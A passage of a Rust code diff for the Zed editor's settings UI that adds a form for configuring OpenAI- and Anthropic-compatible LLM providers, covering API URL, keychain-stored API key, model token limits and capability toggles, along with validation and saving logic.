 pub(crate) use feature_flags::render_feature_flags_page;
-pub(crate) use llm_providers_page::render_llm_providers_page;
+pub(crate) use llm_providers_page::{
+    LlmProviderForm, render_add_llm_provider_popover, render_llm_providers_page,
+};
 pub(crate) use mcp_servers_page::{
     McpServerForm, render_add_server_popover, render_mcp_servers_page,
 };
diff --git a/crates/settings_ui/src/pages/llm_providers_page.rs b/crates/settings_ui/src/pages/llm_providers_page.rs
index cb0b0a95b994a0..f888b031eb8f1b 100644
--- a/crates/settings_ui/src/pages/llm_providers_page.rs
+++ b/crates/settings_ui/src/pages/llm_providers_page.rs
@@ -1,12 +1,23 @@
-use std::sync::Arc;
+use std::{collections::HashSet, sync::Arc};
 
-use gpui::{AnyView, ScrollHandle, prelude::*};
+use editor::Editor;
+use gpui::{AnyView, Entity, Focusable as _, ScrollHandle, prelude::*};
 use language_model::{
     ApiKeyConfiguration, ConfigurationViewTargetAgent, IconOrSvg, InlineDescription,
     LanguageModelProvider, LanguageModelProviderId, LanguageModelRegistry,
     ProviderConfigurationView,
 };
-use ui::{ButtonLink, ConfiguredApiCard, Divider, DividerColor, prelude::*};
+
+use settings::{
+    AnthropicCompatibleAvailableModel, AnthropicCompatibleModelCapabilities,
+    AnthropicCompatibleSettingsContent, OpenAiCompatibleAvailableModel,
+    OpenAiCompatibleModelCapabilities, OpenAiCompatibleSettingsContent, OpenAiReasoningEffort,
+};
+use ui::{
+    ButtonLink, Checkbox, ConfiguredApiCard, ContextMenu, Divider, DividerColor, DropdownMenu,
+    DropdownStyle, IconPosition, PopoverMenu, ToggleState, prelude::*,
+};
+use util::ResultExt as _;
 
 use crate::SettingsWindow;
 use crate::components::SettingsInputField;
@@ -38,6 +49,96 @@ pub(crate) fn render_llm_providers_page(
         .into_any_element()
 }
 
+#[derive(Clone, Copy, PartialEq, Eq)]
+pub(crate) enum CompatibleProviderKind {
+    OpenAi,
+    Anthropic,
+}
+
+impl CompatibleProviderKind {
+    fn label(self) -> &'static str {
+        match self {
+            Self::OpenAi => "OpenAI",
+            Self::Anthropic => "Anthropic",
+        }
+    }
+
+    fn default_api_url(self) -> &'static str {
+        match self {
+            Self::OpenAi => "https://api.openai.com/v1",
+            Self::Anthropic => "https://api.anthropic.com",
+        }
+    }
+}
+
+pub(crate) fn render_add_llm_provider_popover(
+    settings_window: &SettingsWindow,
+    _window: &mut Window,
+    cx: &mut Context<SettingsWindow>,
+) -> impl IntoElement {
+    let focus_handle = settings_window
+        .llm_provider_add_focus_handle
+        .clone()
+        .tab_index(0)
+        .tab_stop(true);
+
+    let settings_window = cx.entity().downgrade();
+
+    PopoverMenu::new("add-llm-provider-popover")
+        .trigger(
+            Button::new("add-llm-provider", "Add Provider")
+                .style(ButtonStyle::Outlined)
+                .track_focus(&focus_handle)
+                .label_size(LabelSize::Small)
+                .start_icon(
+                    Icon::new(IconName::Plus)
+                        .size(IconSize::Small)
+                        .color(Color::Muted),
+                ),
+        )
+        .anchor(gpui::Anchor::TopRight)
+        .offset(gpui::Point {
+            x: px(0.0),
+            y: px(2.0),
+        })
+        .menu(move |window, cx| {
+            let settings_window = settings_window.clone();
+            Some(ContextMenu::build(window, cx, move |menu, _window, _cx| {
+                menu.header("Compatible APIs")
+                    .entry("OpenAI", None, {
+                        let settings_window = settings_window.clone();
+                        move |window, cx| {
+                            settings_window
+                                .update(cx, |this, cx| {
+                                    open_llm_provider_form(
+                                        this,
+                                        CompatibleProviderKind::OpenAi,
+                                        window,
+                                        cx,
+                                    );
+                                })
+                                .log_err();
+                        }
+                    })
+                    .entry("Anthropic", None, {
+                        let settings_window = settings_window;
+                        move |window, cx| {
+                            settings_window
+                                .update(cx, |this, cx| {
+                                    open_llm_provider_form(
+                                        this,
+                                        CompatibleProviderKind::Anthropic,
+                                        window,
+                                        cx,
+                                    );
+                                })
+                                .log_err();
+                        }
+                    })
+            }))
+        })
+}
+
 fn render_provider_section(
     settings_window: &SettingsWindow,
     provider: &Arc<dyn LanguageModelProvider>,
@@ -49,7 +150,7 @@ fn render_provider_section(
     let provider_name = provider.name().0;
 
     let body = if let Some(config) = provider.api_key_configuration(cx) {
-        render_api_key_providers_item(provider, provider_name.clone(), config)
+        render_api_key_providers_item(settings_window, provider, provider_name.clone(), config, cx)
     } else {
         match get_or_create_configuration_view(settings_window, &provider_id, provider, window, cx)
         {
@@ -95,9 +196,11 @@ fn render_provider_header(
 }
 
 fn render_api_key_providers_item(
+    _settings_window: &SettingsWindow,
     provider: &Arc<dyn LanguageModelProvider>,
     provider_name: SharedString,
     config: ApiKeyConfiguration,
+    _cx: &mut Context<SettingsWindow>,
 ) -> AnyElement {
     let ApiKeyConfiguration {
         has_key,
@@ -113,83 +216,95 @@ fn render_api_key_providers_item(
             "API Key Configured"
         };
         let button_id = format!("reset-api-key-{}", provider.id().0);
-        let provider = provider.clone();
-        let env_var_name_for_tooltip = env_var_name;
 
-        return ConfiguredApiCard::new(button_id, configured_label)
+        let card = ConfiguredApiCard::new(button_id, configured_label)
             .button_label("Reset Key")
             .button_tab_index(0)
             .disabled(is_from_env_var)
             .when(is_from_env_var, |this| {
                 this.tooltip_label(format!(
-                    "To reset your API key, unset the {env_var_name_for_tooltip} environment variable."
+                    "To reset your API key, unset the {env_var_name} environment variable."
                 ))
             })
-            .on_click(move |_, _, cx| {
-                provider.reset_credentials(cx).detach_and_log_err(cx);
+            .on_click({
+                let provider = provider.clone();
+                move |_, _, cx| {
+                    provider.reset_credentials(cx).detach_and_log_err(cx);
+                }
             })
             .into_any_element();
+
+        return v_flex().gap_2().child(card).into_any_element();
     }
 
     let input_id = format!("{}-api-key-input", provider.id().0);
     let aria_label = format!("{provider_name} API Key");
-    let provider = provider.clone();
 
-    h_flex()
-        .pt_2p5()
-        .w_full()
-        .min_w_0()
-        .gap_4()
-        .justify_between()
+    v_flex()
+        .gap_2()
         .child(
-            v_flex()
+            h_flex()
+                .pt_2p5()
                 .w_full()
                 .min_w_0()
-                .max_w_1_2()
-                .gap_0p5()
-                .child(Label::new("API Key"))
+                .gap_4()
+                .justify_between()
                 .child(
-                    h_flex()
+                    v_flex()
                         .w_full()
                         .min_w_0()
-                        .flex_wrap()
+                        .max_w_1_2()
                         .gap_0p5()
+                        .child(Label::new("API Key"))
                         .child(
-                            Label::new("Visit the")
-                                .size(LabelSize::Small)
-                                .color(Color::Muted),
-                        )
-                        .child(
-                            ButtonLink::new(format!("{provider_name} dashboard"), api_key_url)
-                                .no_icon(true)
-                                .label_size(LabelSize::Small)
-                                .label_color(Color::Muted),
+                            h_flex()
+                                .w_full()
+                                .min_w_0()
+                                .flex_wrap()
+                                .gap_0p5()
+                                .child(
+                                    Label::new("Visit the")
+                                        .size(LabelSize::Small)
+                                        .color(Color::Muted),
+                                )
+                                .child(
+                                    ButtonLink::new(
+                                        format!("{provider_name} dashboard"),
+                                        api_key_url,
+                                    )
+                                    .no_icon(true)
+                                    .label_size(LabelSize::Small)
+                                    .label_color(Color::Muted),
+                                )
+                                .child(
+                                    Label::new("to generate an API key.")
+                                        .size(LabelSize::Small)
+                                        .color(Color::Muted),
+                                ),
                         )
                         .child(
-                            Label::new("to generate an API key.")
-                                .size(LabelSize::Small)
-                                .color(Color::Muted),
+                            Label::new(format!(
+                                "Or set the {env_var_name} env var and restart Zed for it to take effect."
+                            ))
+                            .size(LabelSize::XSmall)
+                            .color(Color::Muted),
                         ),
                 )
                 .child(
-                    Label::new(format!(
-                        "Or set the {env_var_name} env var and restart Zed for it to take effect."
-                    ))
-                    .size(LabelSize::XSmall)
-                    .color(Color::Muted),
+                    SettingsInputField::new(input_id)
+                        .tab_index(0)
+                        .with_placeholder("xxxxxxxxxxxxxxxxxxxx")
+                        .aria_label(aria_label)
+                        .on_confirm({
+                            let provider = provider.clone();
+                            move |api_key, _window, cx| {
+                                if let Some(key) = api_key.filter(|key| !key.is_empty()) {
+                                    provider.set_api_key(key, cx).detach_and_log_err(cx);
+                                }
+                            }
+                        }),
                 ),
         )
-        .child(
-            SettingsInputField::new(input_id)
-                .tab_index(0)
-                .with_placeholder("xxxxxxxxxxxxxxxxxxxx")
-                .aria_label(aria_label)
-                .on_confirm(move |api_key, _window, cx| {
-                    if let Some(key) = api_key.filter(|key| !key.is_empty()) {
-                        provider.set_api_key(key, cx).detach_and_log_err(cx);
-                    }
-                }),
-        )
         .into_any_element()
 }
 
@@ -314,7 +429,7 @@ fn open_provider_configuration(
         title,
         "Agent Configuration",
         Some("llm_providers"),
-        false,
+        true,
         render_provider_config_sub_page,
         window,
         cx,
@@ -385,3 +500,807 @@ fn get_or_create_configuration_view(
 
     view
 }
+
+pub(crate) struct LlmProviderForm {
+    kind: CompatibleProviderKind,
+    provider_name: Entity<Editor>,
+    api_url: Entity<Editor>,
+    api_key: Entity<Editor>,
+    models: Vec<ModelInput>,
+    error: Option<SharedString>,
+}
+
+impl LlmProviderForm {
+    fn new(
+        kind: CompatibleProviderKind,
+        window: &mut Window,
+        cx: &mut Context<SettingsWindow>,
+    ) -> Self {
+        Self {
+            kind,
+            provider_name: new_input(kind.label(), None, false, window, cx),
+            api_url: new_input(kind.default_api_url(), None, false, window, cx),
+            api_key: new_input(
+                "000000000000000000000000000000000000000000000000",
+                None,
+                true,
+                window,
+                cx,
+            ),
+            models: vec![ModelInput::new(0, window, cx)],
+            error: None,
+        }
+    }
+}
+
+struct ModelInput {
+    name: Entity<Editor>,
+    max_completion_tokens: Entity<Editor>,
+    max_output_tokens: Entity<Editor>,
+    max_tokens: Entity<Editor>,
+    reasoning_effort: OpenAiReasoningEffort,
+    supports_tools: ToggleState,
+    supports_images: ToggleState,
+    supports_parallel_tool_calls: ToggleState,
+    supports_prompt_cache_key: ToggleState,
+    supports_chat_completions: ToggleState,
+    supports_thinking: ToggleState,
+    interleaved_reasoning: ToggleState,
+    max_tokens_parameter: ToggleState,
+}
+
+impl ModelInput {
+    fn new(_index: usize, window: &mut Window, cx: &mut Context<SettingsWindow>) -> Self {
+        let OpenAiCompatibleModelCapabilities {
+            tools,
+            images,
+            parallel_tool_calls,
+            prompt_cache_key,
+            chat_completions,
+            interleaved_reasoning,
+            max_tokens_parameter,
+        } = OpenAiCompatibleModelCapabilities::default();
+
+        Self {
+            name: new_input(
+                "e.g. gpt-5, claude-opus-4, gemini-2.5-pro",
+                None,
+                false,
+                window,
+                cx,
+            ),
+            max_completion_tokens: new_input("200000", Some("200000"), false, window, cx),
+            max_output_tokens: new_input("Max Output Tokens", Some("32000"), false, window, cx),
+            max_tokens: new_input("Max Tokens", Some("200000"), false, window, cx),
+            reasoning_effort: OpenAiReasoningEffort::Medium,
+            supports_tools: tools.into(),
+            supports_images: images.into(),
+            supports_parallel_tool_calls: parallel_tool_calls.into(),
+            supports_prompt_cache_key: prompt_cache_key.into(),
+            supports_chat_completions: chat_completions.into(),
+            supports_thinking: ToggleState::Unselected,
+            interleaved_reasoning: interleaved_reasoning.into(),
+            max_tokens_parameter: max_tokens_parameter.into(),
+        }
+    }
+}
+
+fn new_input(
+    placeholder: &str,
+    initial: Option<&str>,
+    masked: bool,
+    window: &mut Window,
+    cx: &mut Context<SettingsWindow>,
+) -> Entity<Editor> {
+    let placeholder = placeholder.to_string();
+    let initial = initial.map(str::to_string);
+    cx.new(|cx| {
+        let mut editor = Editor::single_line(window, cx);
+        editor.set_placeholder_text(placeholder.as_str(), window, cx);
+        editor.set_masked(masked, cx);
+        if let Some(text) = initial {
+            editor.set_text(text, window, cx);
+        }
+        editor
+    })
+}
+
+fn open_llm_provider_form(
+    settings_window: &mut SettingsWindow,
+    kind: CompatibleProviderKind,
+    window: &mut Window,
+    cx: &mut Context<SettingsWindow>,
+) {
+    settings_window.llm_provider_form = Some(LlmProviderForm::new(kind, window, cx));
+    settings_window.push_dynamic_sub_page(
+        format!("Add {}-Compatible Provider", kind.label()),
+        "Agent Configuration",
+        Some("llm_providers"),
+        true,
+        render_llm_provider_form_page,
+        window,
+        cx,
+    );
+}
+
+fn render_llm_provider_form_page(
+    settings_window: &SettingsWindow,
+    scroll_handle: &ScrollHandle,
+    window: &mut Window,
+    cx: &mut Context<SettingsWindow>,
+) -> AnyElement {
+    let Some(form) = settings_window.llm_provider_form.as_ref() else {
+        return div().into_any_element();
+    };
+
+    v_flex()
+        .size_full()
+        .child(
+            v_flex()
+                .id("llm-provider-form-page")
+                .track_scroll(scroll_handle)
+                .pt_2p5()
+                .px_8()
+                .pb_16()
+                .gap_4()
+                .overflow_y_scroll()
+                .child(Label::new(match form.kind {
+                    CompatibleProviderKind::OpenAi => {
+                        "This provider will use an OpenAI-compatible API."
+                    }
+                    CompatibleProviderKind::Anthropic => {
+                        "This provider will use an Anthropic Messages-compatible API."
+                    }
+                }))
+                .child(Divider::horizontal().flex_shrink_0())
+                .child(render_form_field(
+                    "Provider Name",
+                    "A unique name used to identify this provider.",
+                    &form.provider_name,
+                    cx,
+                ))
+                .child(render_form_field(
+                    "API URL",
+                    "The base URL for the compatible API.",
+                    &form.api_url,
+                    cx,
+                ))
+                .child(render_form_field(
+                    "API Key",
+                    "Stored in the system keychain, not in settings.json.",
+                    &form.api_key,
+                    cx,
+                ))
+                .child(render_models_section(form, window, cx)),
+        )
+        .child(
+            v_flex()
+                .px_8()
+                .py_2p5()
+                .gap_1()
+                .border_t_1()
+                .border_color(cx.theme().colors().border_variant)
+                .when_some(form.error.clone(), |this, error| {
+                    this.child(render_form_error(error))
+                })
+                .child(render_form_actions(cx)),
+        )
+        .into_any_element()
+}
+
+fn render_form_field(
+    title: &'static str,
+    description: &'static str,
+    editor: &Entity<Editor>,
+    cx: &mut Context<SettingsWindow>,
+) -> AnyElement {
+    let colors = cx.theme().colors();
+    let focus_handle = editor.focus_handle(cx).tab_index(0).tab_stop(true);
+    v_flex()
+        .w_full()
+        .gap_1p5()
+        .child(
+            v_flex()
+                .gap_0p5()
+                .child(
+                    h_flex().gap_0p5().child(Label::new(title)).child(
+                        Label::new("*")
+                            .size(LabelSize::Small)
+                            .color(Color::Error)
+                            .mb_2(),
+                    ),
+                )
+                .child(
+                    Label::new(description)
+                        .size(LabelSize::Small)
+                        .color(Color::Muted),
+                ),
+        )
+        .child(
+            h_flex()
+                .w_full()
+                .min_w_64()
+                .h_8()
+                .px_2()
+                .rounded_md()
+                .border_1()
+                .border_color(colors.border)
+                .bg(colors.editor_background)
+                .track_focus(&focus_handle)
+                .focus(|style| style.border_color(colors.border_focused))
+                .child(editor.clone()),
+        )
+        .into_any_element()
+}
+
+fn render_models_section(
+    form: &LlmProviderForm,
+    window: &mut Window,
+    cx: &mut Context<SettingsWindow>,
+) -> impl IntoElement {
+    v_flex()
+        .mt_1()
+        .gap_2()
+        .child(
+            h_flex()
+                .justify_between()
+                .child(Label::new("Models"))
+                .child(
+                    Button::new("add-model", "Add Model")
+                        .start_icon(
+                            Icon::new(IconName::Plus)
+                                .size(IconSize::XSmall)
+                                .color(Color::Muted),
+                        )
+                        .label_size(LabelSize::Small)
+                        .on_click(cx.listener(|this, _, window, cx| {
+                            if let Some(form) = this.llm_provider_form.as_mut() {
+                                let index = form.models.len();
+                                form.models.push(ModelInput::new(index, window, cx));
+                            }
+                            cx.notify();
+                        })),
+                ),
+        )
+        .children(form.models.iter().enumerate().map(|(index, model)| {
+            render_model(form.kind, model, index, form.models.len(), window, cx)
+        }))
+}
+
+fn render_model(
+    kind: CompatibleProviderKind,
+    model: &ModelInput,
+    index: usize,
+    model_count: usize,
+    window: &mut Window,
+    cx: &mut Context<SettingsWindow>,
+) -> AnyElement {
+    v_flex()
+        .p_2()
+        .gap_2()
+        .rounded_sm()
+        .border_1()
+        .border_dashed()
+        .border_color(cx.theme().colors().border.opacity(0.6))
+        .bg(cx.theme().colors().element_active.opacity(0.15))
+        .child(render_form_field(
+            "Model Name",
+            "The model's name in the provider's API.",
+            &model.name,
+            cx,
+        ))
+        .when(matches!(kind, CompatibleProviderKind::OpenAi), |this| {
+            this.child(render_form_field(
+                "Max Completion Tokens",
+                "Maximum completion tokens for OpenAI-compatible requests.",
+                &model.max_completion_tokens,
+                cx,
+            ))
+        })
+        .child(render_form_field(
+            "Max Output Tokens",
+            "The maximum number of tokens the model can output.",
+            &model.max_output_tokens,
+            cx,
+        ))
+        .child(render_form_field(
+            "Max Tokens",
+            "The model context window size.",
+            &model.max_tokens,
+            cx,
+        ))
+        .child(render_model_capabilities(kind, model, index, window, cx))
+        .when(model_count > 1, |this| {
+            this.child(
+                Button::new(("remove-model", index), "Remove Model")
+                    .start_icon(
+                        Icon::new(IconName::Trash)
+                            .size(IconSize::XSmall)
+                            .color(Color::Muted),
+                    )
+                    .label_size(LabelSize::Small)
+                    .style(ButtonStyle::Outlined)
+                    .full_width()
+                    .on_click(cx.listener(move |this, _, _window, cx| {
+                        if let Some(form) = this.llm_provider_form.as_mut()
+                            && index < form.models.len()
+                        {
+                            form.models.remove(index);
+                        }
+                        cx.notify();
+                    })),
+            )
+        })
+        .into_any_element()
+}
+
+fn render_model_capabilities(
+    kind: CompatibleProviderKind,
+    model: &ModelInput,
+    index: usize,
+    window: &mut Window,
+    cx: &mut Context<SettingsWindow>,
+) -> impl IntoElement {
+    v_flex()
+        .gap_1()
+        .child(render_capability_checkbox(
+            "supports-tools",
+            index,
+            "Supports tools",
+            model.supports_tools,
+            |model, state| model.supports_tools = state,
+            cx,
+        ))
+        .child(render_capability_checkbox(
+            "supports-images",
+            index,
+            "Supports images",
+            model.supports_images,
+            |model, state| model.supports_images = state,
+            cx,
+        ))
+        .when(matches!(kind, CompatibleProviderKind::OpenAi), |this| {
+            this.child(render_capability_checkbox(
+                "supports-parallel-tool-calls",
+                index,
+                "Supports parallel_tool_calls",
+                model.supports_parallel_tool_calls,
+                |model, state| model.supports_parallel_tool_calls = state,
+                cx,
+            ))
+            .child(render_capability_checkbox(
+                "supports-prompt-cache-key",
+                index,
+                "Supports prompt_cache_key",
+                model.supports_prompt_cache_key,
+                |model, state| model.supports_prompt_cache_key = state,
+                cx,
+            ))
+            .child(render_capability_checkbox(
+                "supports-chat-completions",
+                index,
+                "Supports /chat/completions",
+                model.supports_chat_completions,
+                |model, state| model.supports_chat_completions = state,
+                cx,
+            ))
+            .when(model.supports_chat_completions.selected(), |this| {
+                this.child(render_capability_checkbox(
+                    "max-tokens-parameter",
+                    index,
+                    "Uses max_tokens for output limit",
+                    model.max_tokens_parameter,
+                    |model, state| model.max_tokens_parameter = state,
+                    cx,
+                ))
+            })
+            .child(render_capability_checkbox(
+                "supports-thinking",
+                index,
+                "Supports thinking",
+                model.supports_thinking,
+                |model, state| model.supports_thinking = state,
+                cx,
+            ))
+            .when(model.supports_thinking.selected(), |this| {
+                this.child(render_reasoning_effort_selector(
+                    model.reasoning_effort,
+                    index,
+                    window,
+                    cx,
+                ))
+                .when(model.supports_chat_completions.selected(), |this| {
+                    this.child(render_capability_checkbox(
+                        "interleaved-reasoning",
+                        index,
+                        "Preserves thinking in chat history",
+                        model.interleaved_reasoning,
+                        |model, state| model.interleaved_reasoning = state,
+                        cx,
+                    ))
+                })
+            })
+        })
+}
+
+fn render_capability_checkbox(
+    id: &'static str,
+    index: usize,
+    label: &'static str,
+    state: ToggleState,
+    update: fn(&mut ModelInput, ToggleState),
+    cx: &mut Context<SettingsWindow>,
+) -> impl IntoElement {
+    Checkbox::new((id, index), state)
+        .label(label)
+        .on_click(cx.listener(move |this, checked, _window, cx| {
+            if let Some(form) = this.llm_provider_form.as_mut()
+                && let Some(model) = form.models.get_mut(index)
+            {
+                update(model, *checked);
+            }
+            cx.notify();
+        }))
+}
+
+fn render_reasoning_effort_selector(
+    selected: OpenAiReasoningEffort,
+    index: usize,
+    window: &mut Window,
+    cx: &mut Context<SettingsWindow>,
+) -> impl IntoElement {
+    let settings_window = cx.weak_entity();
+    let menu = ContextMenu::build(window, cx, move |mut menu, _window, _cx| {
+        for effort in OpenAiReasoningEffort::OPENAI_COMPATIBLE_SELECTABLE {
+            let is_selected = effort == selected;
+            let settings_window = settings_window.clone();
+            menu.push_item(
+                ui::ContextMenuEntry::new(effort.label())
+                    .toggleable(IconPosition::End, is_selected)
+                    .handler(move |_window, cx| {
+                        settings_window
+                            .update(cx, |this, cx| {
+                                if let Some(form) = this.llm_provider_form.as_mut()
+                                    && let Some(model) = form.models.get_mut(index)
+                                {
+                                    model.reasoning_effort = effort;
+                                }
+                                cx.notify();
+                            })
+                            .ok();
+                    }),
+            );
+        }
+        menu
+    });
+
+    v_flex()
+        .gap_1()
+        .child(Label::new("Default reasoning effort").size(LabelSize::Small))
+        .child(
+            DropdownMenu::new(
+                ElementId::Name(format!("reasoning-effort-selector-{index}").into()),
+                selected.label(),
+                menu,
+            )
+            .style(DropdownStyle::Outlined)
+            .trigger_size(ButtonSize::Compact)
+            .full_width(true)
+            .aria_label("Default reasoning effort"),
+        )
+}
+
+fn render_form_error(error: SharedString) -> impl IntoElement {
+    h_flex()
+        .w_full()
+        .gap_2()
+        .child(
+            Icon::new(IconName::XCircle)
+                .size(IconSize::Small)
+                .color(Color::Error),
+        )
+        .child(Label::new(error).size(LabelSize::Small).color(Color::Error))
+}
+
+fn render_form_actions(cx: &mut Context<SettingsWindow>) -> impl IntoElement {
+    h_flex()
+        .w_full()
+        .gap_1()
+        .justify_end()
+        .child(
+            Button::new("llm-provider-form-cancel", "Cancel").on_click(cx.listener(
+                |this, _, window, cx| {
+                    this.llm_provider_form = None;
+                    this.pop_sub_page(window, cx);
+                },
+            )),
+        )
+        .child(
+            Button::new("llm-provider-form-save", "Save Provider")
+                .style(ButtonStyle::Filled)
+                .on_click(cx.listener(|this, _, window, cx| {
+                    save_llm_provider_form(this, window, cx);
+                })),
+        )
+}
+
+struct LlmProviderFormValues {
+    kind: CompatibleProviderKind,
+    provider_name: String,
+    api_url: String,
+    api_key: String,
+    models: Vec<ModelValues>,
+}
+
+struct ModelValues {
+    name: String,
+    max_completion_tokens: String,
+    max_output_tokens: String,
+    max_tokens: String,
+    reasoning_effort: OpenAiReasoningEffort,
+    supports_tools: bool,
+    supports_images: bool,
+    supports_parallel_tool_calls: bool,
+    supports_prompt_cache_key: bool,
+    supports_chat_completions: bool,
+    supports_thinking: bool,
+    interleaved_reasoning: bool,
+    max_tokens_parameter: bool,
+}
+
+enum ParsedModels {
+    OpenAi(Vec<OpenAiCompatibleAvailableModel>),
+    Anthropic(Vec<AnthropicCompatibleAvailableModel>),
+}
+
+fn save_llm_provider_form(
+    settings_window: &mut SettingsWindow,
+    window: &mut Window,
+    cx: &mut Context<SettingsWindow>,
+) {
+    let values = {
+        let Some(form) = settings_window.llm_provider_form.as_ref() else {
+            return;
+        };
+        LlmProviderFormValues {
+            kind: form.kind,
+            provider_name: form.provider_name.read(cx).text(cx),
+            api_url: form.api_url.read(cx).text(cx),
+            api_key: form.api_key.read(cx).text(cx),
+            models: form
+                .models
+                .iter()
+                .map(|model| ModelValues {
+                    name: model.name.read(cx).text(cx),
+                    max_completion_tokens: model.max_completion_tokens.read(cx).text(cx),
+                    max_output_tokens: model.max_output_tokens.read(cx).text(cx),
+                    max_tokens: model.max_tokens.read(cx).text(cx),
+                    reasoning_effort: model.reasoning_effort,
+                    supports_tools: model.supports_tools.selected(),
+                    supports_images: model.supports_images.selected(),
+                    supports_parallel_tool_calls: model.supports_parallel_tool_calls.selected(),
+                    supports_prompt_cache_key: model.supports_prompt_cache_key.selected(),
+                    supports_chat_completions: model.supports_chat_completions.selected(),
+                    supports_thinking: model.supports_thinking.selected(),
+                    interleaved_reasoning: model.interleaved_reasoning.selected(),
+                    max_tokens_parameter: model.max_tokens_parameter.selected(),
+                })
+                .collect(),
+        }
+    };
+
+    let (provider_name, api_url, api_key, models) = match validate_llm_provider_form(&values, cx) {
+        Ok(value) => value,
+        Err(error) => {
+            if let Some(form) = settings_window.llm_provider_form.as_mut() {
+                form.error = Some(error);
+            }
+            cx.notify();
+            return;
+        }
+    };
+
+    let fs = <dyn fs::Fs>::global(cx);
+    cx.spawn_in(window, async move |this, cx| {
+        let result = async {
+            let provider_id = LanguageModelProviderId(provider_name.clone().into());
+            let settings_update = cx.update(|_window, cx| {
+                settings::update_settings_file_with_completion(fs, cx, move |settings, _cx| {
+                    let language_models = settings.language_models.get_or_insert_default();
+                    match models {
+                        ParsedModels::OpenAi(available_models) => {
+                            language_models
+                                .openai_compatible
+                                .get_or_insert_default()
+                                .insert(
+                                    Arc::from(provider_name.as_str()),
+                                    OpenAiCompatibleSettingsContent {
+                                        api_url: api_url.clone(),
+                                        available_models,
+                                        custom_headers: None,
+                                    },
+                                );
+                        }
+                        ParsedModels::Anthropic(available_models) => {
+                            language_models
+                                .anthropic_compatible
+                                .get_or_insert_default()
+                                .insert(
+                                    Arc::from(provider_name.as_str()),
+                                    AnthropicCompatibleSettingsContent {
+                                        api_url: api_url.clone(),
+                                        available_models,
+                                        custom_headers: None,
+                                    },
+                                );
+                        }
+                    }
+                })
+            })?;
+
+            settings_update
+                .await
+                .map_err(|_| anyhow::anyhow!("Settings update was canceled"))??;
+
+            let set_api_key = cx.update(|_window, cx| {
+                let provider = LanguageModelRegistry::read_global(cx)
+                    .provider(&provider_id)
+                    .ok_or_else(|| anyhow::anyhow!("Provider was not registered"))?;
+                anyhow::Ok(provider.set_api_key(api_key, cx))
+            })??;
+            set_api_key.await?;
+
+            cx.update(|window, cx| {
+                this.update(cx, |this, cx| {
+                    this.provider_configuration_views.remove(&provider_id);
+                    this.llm_provider_form = None;
+                    this.pop_sub_page(window, cx);
+                })
+            })??;
+
+            anyhow::Ok(())
+        }
+        .await;
+
+        if let Err(error) = result {
+            this.update(cx, |this, cx| {
+                if let Some(form) = this.llm_provider_form.as_mut() {
+                    form.error = Some(error.to_string().into());
+                }
+                cx.notify();
+            })?;
+        }
+
+        anyhow::Ok(())
+    })
+    .detach_and_log_err(cx);
+}
+
+fn validate_llm_provider_form(
+    values: &LlmProviderFormValues,
+    cx: &App,
+) -> Result<(String, String, String, ParsedModels), SharedString> {
+    let provider_name = values.provider_name.clone();
+    if provider_name.is_empty() {
+        return Err("Provider Name cannot be empty".into());
+    }
+
+    if LanguageModelRegistry::read_global(cx)
+        .providers()
+        .iter()
+        .any(|provider| {
+            provider.id().0.as_ref() == provider_name.as_str()
+                || provider.name().0.as_ref() == provider_name.as_str()
+        })
+    {
+        return Err("Provider Name is already taken by another provider".into());
+    }
+
+    let api_url = values.api_url.clone();
+    if api_url.is_empty() {
+        return Err("API URL cannot be empty".into());
+    }
+
+    let api_key = values.api_key.clone();
+    if api_key.is_empty() {
+        return Err("API Key cannot be empty".into());
+    }
+
+    let models = match values.kind {
+        CompatibleProviderKind::OpenAi => ParsedModels::OpenAi(
+            values
+                .models
+                .iter()
+                .map(parse_open_ai_model)
+                .collect::<Result<Vec<_>, _>>()?,
+        ),
+        CompatibleProviderKind::Anthropic => ParsedModels::Anthropic(
+            values
+                .models
+                .iter()
+                .map(parse_anthropic_model)
+                .collect::<Result<Vec<_>, _>>()?,
+        ),
+    };
+
+    let mut model_names = HashSet::new();
+    let model_names_are_unique = match &models {
+        ParsedModels::OpenAi(models) => models
+            .iter()
+            .all(|model| model_names.insert(model.name.clone())),
+        ParsedModels::Anthropic(models) => models
+            .iter()
+            .all(|model| model_names.insert(model.name.clone())),
+    };
+    if !model_names_are_unique {
+        return Err("Model Names must be unique".into());
+    }
+
+    Ok((provider_name, api_url, api_key, models))
+}
+
+fn parse_model_name(model: &ModelValues) -> Result<String, SharedString> {
+    if model.name.is_empty() {
+        return Err("Model Name cannot be empty".into());
+    }
+    Ok(model.name.clone())
+}
+
+fn parse_open_ai_model(
+    model: &ModelValues,
+) -> Result<OpenAiCompatibleAvailableModel, SharedString> {
+    Ok(OpenAiCompatibleAvailableModel {
+        name: parse_model_name(model)?,
+        display_name: None,
+        max_completion_tokens: Some(parse_u64_field(
+            &model.max_completion_tokens,
+            "Max Completion Tokens",
+        )?),
+        max_output_tokens: Some(parse_u64_field(
+            &model.max_output_tokens,
+            "Max Output Tokens",
+        )?),
+        max_tokens: parse_u64_field(&model.max_tokens, "Max Tokens")?,
+        reasoning_effort: model.supports_thinking.then_some(model.reasoning_effort),
+        capabilities: OpenAiCompatibleModelCapabilities {
+            tools: model.supports_tools,
+            images: model.supports_images,
+            parallel_tool_calls: model.supports_parallel_tool_calls,
+            prompt_cache_key: model.supports_prompt_cache_key,
+            chat_completions: model.supports_chat_completions,
+            interleaved_reasoning: model.supports_thinking
+                && model.supports_chat_completions
+                && model.interleaved_reasoning,
+            max_tokens_parameter: model.supports_chat_completions && model.max_tokens_parameter,
+        },
+    })
+}
+
+fn parse_anthropic_model(
+    model: &ModelValues,
+) -> Result<AnthropicCompatibleAvailableModel, SharedString> {
+    Ok(AnthropicCompatibleAvailableModel {
+        name: parse_model_name(model)?,
+        display_name: None,
+        max_tokens: parse_u64_field(&model.max_tokens, "Max Tokens")?,
+        tool_override: None,
+        max_output_tokens: Some(parse_u64_field(
+            &model.max_output_tokens,
+            "Max Output Tokens",
+        )?),
+        default_temperature: None,
+        extra_beta_headers: Vec::new(),
+        mode: None,
+        capabilities: AnthropicCompatibleModelCapabilities {
+            tools: model.supports_tools,
+            images: model.supports_images,
+            prompt_caching: false,
+        },
+    })
+}
+
+fn parse_u64_field(value: &str, name: &str) -> Result<u64, SharedString> {
+    value
+        .parse::<u64>()
+        .map_err(|_| format!("{name} must be a number").into())
+}
diff --git a/crates/settings_ui/src/settings_ui.rs b/crates/settings_ui/src/settings_ui.rs
index b371fb68ccbe30..34a2ac271d494e 100644
--- a/crates/settings_ui/src/settings_ui.rs
+++ b/crates/settings_ui/src/settings_ui.rs
@@ -60,7 +60,7 @@ use crate::components::{
     text_field_a11y_state, theme_picker,
 };
